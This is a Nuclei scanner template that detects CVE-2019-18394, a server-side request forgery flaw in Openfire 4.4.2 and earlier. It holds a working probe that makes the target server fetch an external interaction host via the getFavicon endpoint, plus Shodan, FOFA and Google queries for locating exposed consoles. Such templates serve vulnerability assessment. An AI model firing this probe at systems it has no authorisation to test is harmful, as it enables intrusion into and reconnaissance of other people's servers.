id: CVE-2019-18394

info:
  name: Ignite Realtime Openfire <=4.4.2 - Server-Side Request Forgery
  author: pdteam
  severity: critical
  description: Ignite Realtime Openfire through version 4.4.2 allows attackers to send arbitrary HTTP GET requests in FaviconServlet.java, resulting in server-side request forgery.
  impact: |
    An attacker can exploit this vulnerability to send crafted requests to internal resources, leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to the latest version of Ignite Realtime Openfire (>=4.4.3) to fix this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/openfire-admin-console/
    - https://github.com/igniterealtime/Openfire/pull/1497
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18394
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-18394
    cwe-id: CWE-918
    epss-score: 0.9388
    epss-percentile: 0.99877
    cpe: cpe:2.3:a:igniterealtime:openfire:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: igniterealtime
    product: openfire
    shodan-query:
      - http.title:"openfire admin console"
      - http.title:"openfire"
    fofa-query:
      - title="openfire"
      - title="openfire admin console"
    google-query:
      - intitle:"openfire"
      - intitle:"openfire admin console"
  tags: cve,cve2019,ssrf,openfire,oast,igniterealtime,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/getFavicon?host=oast.fun?"

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'Interactsh Server')"
          - "contains(content_type, 'image/x-icon')"
          - "status_code == 200"
        condition: and
# digest: 4b0a00483046022100edd561143e1a3dff661cca50d2d40d6f2fb1e07528e48bb7c6ef63a159e1d9960221009dd98b5d7f6d65b051783373a44102f660e5e259083dffca77f50891b8e12185:922c64590222798bb761d5b6d8e72950